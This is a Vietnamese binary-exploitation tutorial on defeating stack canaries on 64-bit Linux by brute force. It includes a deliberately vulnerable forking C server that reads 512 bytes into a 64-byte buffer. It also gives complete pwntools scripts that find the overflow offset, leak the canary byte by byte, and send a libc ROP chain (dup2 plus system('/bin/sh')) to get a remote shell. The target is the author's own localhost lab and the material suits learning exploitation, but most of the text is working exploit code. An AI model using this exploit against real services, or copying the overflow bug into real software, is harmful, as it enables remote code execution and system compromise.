Sau phần 4, hướng dẫn cách bypass NX (Non-executable Stack), hôm nay mình sẽ hướng dẫn cách bypass stack canary trên linux 64 bits bằng phương pháp brute force.
1. Stack canary là gì?
Stack canary là cơ chế bảo mật cho stack, nó ngăn chúng ta thực hiện khai thác thỗi buffer overflow nhằm thay đổi thanh ghi và truyền shellcode. Hiểu đơn giản, mình có hình ảnh stack trước và sau khi sử dụng stack canary như sau:
Như vậy, 8 bytes được thêm vào sau phần buffer, đảm bảo răng nếu xảy ra lỗi buffer overflow, stack canary sẽ bị thay đổi, từ đó ngăn chặn việc khai thác có thể xảy ra. Theo cơ chế này, chúng ta có cách khai thác là brute force, tìm ra stack canary sau đó gửi kèm payload để thực hiện khai thác
2. Phân tích chương trình khai thác với gdb
Sau bài viết về socket programming, mình thực hiện viết server để khai thác với mã code c như sau, mình đã update lên link github : https://github.com/vuongle-vigo/BinaryExploit/tree/master/Buffer Overflow/StackCanary_Bypass
server_vuln.c
# include <stdio.h>
# include <string.h>
# include <stdlib.h>
# include <unistd.h>
# include <netinet/in.h>
# include <arpa/inet.h>
# include <sys/socket.h>
# include <sys/types.h>
# include <errno.h>
# include <sys/socket.h>
# include <sys/types.h> #define BUFFER_SIZE 64
#define PORT 8888
#define SERVER_ADDRESS "127.0.0.1" const char secret_password[] = "S3cr3tP4ssw0rd"; struct sockaddr_in set_sockaddr_in(char *host, int port){ struct sockaddr_in addr; addr.sin_family = AF_INET; addr.sin_port = htons(port); addr.sin_addr.s_addr = inet_addr(host); memset(&addr.sin_zero, 0 , sizeof(addr.sin_zero)); return addr;
} int set_socket(char *host, int port){ struct sockaddr_in addr_in = set_sockaddr_in(host, port); int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(sockfd < 0){ perror("socket"); close(sockfd); exit(-1);} if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &(int){1}, sizeof(int)) == -1) { perror("setsockopt() error...\n"); exit(1); } if(bind(sockfd, (struct sockaddr *)&addr_in, sizeof(struct sockaddr)) < 0){ perror("bind"); close(sockfd); exit(-1);} return sockfd;
} int auth(int connectfd){ char message[] = "User Access Verification\n\nPassword: "; write(connectfd, message, strlen(message)); char buffer[BUFFER_SIZE]; int size = read(connectfd, buffer, 512); return (strcmp(buffer, secret_password)==0);
} int main(int argc, char *argv[]){ int sockfd = set_socket(SERVER_ADDRESS, PORT); if((listen(sockfd, 5)) == -1) { perror("listen"); close(sockfd); exit(-1); } printf("Listening on %s port %d\n", SERVER_ADDRESS, PORT); struct sockaddr_in client_addr; socklen_t addr_len = sizeof(struct sockaddr_in); int connectfd; while(1){ if((connectfd = accept(sockfd, (struct sockaddr *)&client_addr, &addr_len))<0){ exit(0); } pid_t pid = fork(); if(pid<0){ perror("fork"); exit(0); } if(pid==0){//child close(sockfd); if(auth(connectfd)==1){ char success[] = "Login successful"; write(connectfd, success, strlen(success)); } else { char invalid[] = "Invalid Password"; write(connectfd, invalid, strlen(invalid)); } } else if(pid>0){//parrent close(connectfd); } } return 0; }
Thực hiện compile chương trình: gcc -fstack-protector server_vuln.c -o server_vuln
Sử dụng checksec ta thầy stackcanary đã được bật.
Chạy thử chương trình cùng với netcat ta được kết quả như sau:
Chương trình yêu cầu nhập password, nếu sai sẽ trả về Invalid password.
3. Viết chương trình khai thác với python3 pwntools
Đầu tiên mình sẽ viết file python để xác định xem cần bao nhiêu kí tự để ghi đè lên stack canary:
from pwn import * context.update(os = "linux", arch = "amd64") buffer = "A"
payload = buffer def exploit(payload, interactive=False): size_payload = 0 for i in range(100): try: r = remote("localhost", 8888, level='error') r.sendafter("Password: ", payload) recv_data = r.recv(100, 0.1) if(recv_data == b"Invalid Password"): size_payload += 1 payload += "A" except EOFError: break finally: r.close() print("Size of payload = ", size_payload)
exploit(payload)
Chạy file ta được kết quả như sau:
Vậy kết quả là 72, ta thấy ở server hiện thị stack smashing detected. Tức là ở kí tự thứ 73 đã gây ra lỗi này. Dưới đây là file python khai thác hoàn thiện của mình, kết hợp với NX_bypass mình viết ở phần trước, ta sẽ lấy được 1 shell.
from pwn import * context.update(os = "linux", arch = "amd64") buffer = b'A'*72
payload = buffer def exploit(payload, interactive=False): try: r = remote("localhost", 8888, level='error') r.sendafter(b"Password: ", payload) recv_data = r.recv(100, 0.1) if(recv_data == b"Invalid Password"): return True except EOFError: return False finally: if interactive: r.interactive() else: r.close() def leak_bytes(payload, name): leak_bytes = [] progress = log.progress(name, level=logging.WARN) for i in range(8): for k in range(0,256): if(exploit(payload + p8(k))): payload = payload + p8(k) leak_bytes.insert(0, hex(k)) progress.status(repr(leak_bytes)) break log.info(f"Leaked {name} = {hex(u64(payload[-8:]))}") return payload libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') libc.address = 0x007ffff7dce000
rop = ROP(libc)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.dup2(4, 2)
rop.system(next(libc.search(b"/bin/sh")))
payload = leak_bytes(payload, "Canary")
payload += p64(0xBADC0FFEE0DDF00D) # sys = p64(libc.sym.get("system"))
# exit = p64(libc.sym.get("exit"))
# binsh = p64(next(libc.search(b"/bin/sh"))) # log.info(f"ROP Chain:\n{rop.dump()}") payload += bytes(rop) exploit(payload, True)
Kết quả nhận được như sau: Vậy là mình đã lấy được 1 shell.